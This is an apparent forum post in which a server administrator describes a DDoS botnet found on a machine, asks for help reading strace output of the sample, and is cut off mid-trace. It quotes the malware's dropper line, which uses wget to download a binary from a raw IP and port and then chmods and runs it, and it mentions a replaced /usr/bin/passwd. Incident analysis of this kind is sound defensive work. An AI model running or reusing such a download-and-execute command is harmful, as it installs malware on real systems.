networking - strace calls of a possible botnet file -
i found out there unknown process running on 1 server, digged in bit discover files belong botnet. process part of ddos, using cpu @ 100%. files found were: - /tmp/cool - /tmp/cpubalence the malicious files replacing /usr/bin/passwd exec run /bin/sh echo '0' > /proc/sys/vm/dirty_writeback_centisecs;/bin/sh -c 'wget -p /tmp/ http://69.12.92.196:911/wa -o /tmp/cool;chmod 777 /tmp/cool;/tmp/cool > /dev/null &' on vm, tried using strace on having following output i'd understand more. due curiosity, emulate network messages see what's response. open("zconf.n", o_rdonly) = -1 enoent (no such file or directory) getgid32() = 0 open("amp.lst", o_rdonly) = -1 enoent (no such file or directory) mmap2(null, 8392704, prot_read|prot_write, map_private|map_anonymous|map_stack, -1, 0) = 0xfffffffff6fe1000 mprotect(0xf6fe1000, 4096, prot_none) = 0 clone(child_stack=0xf77e13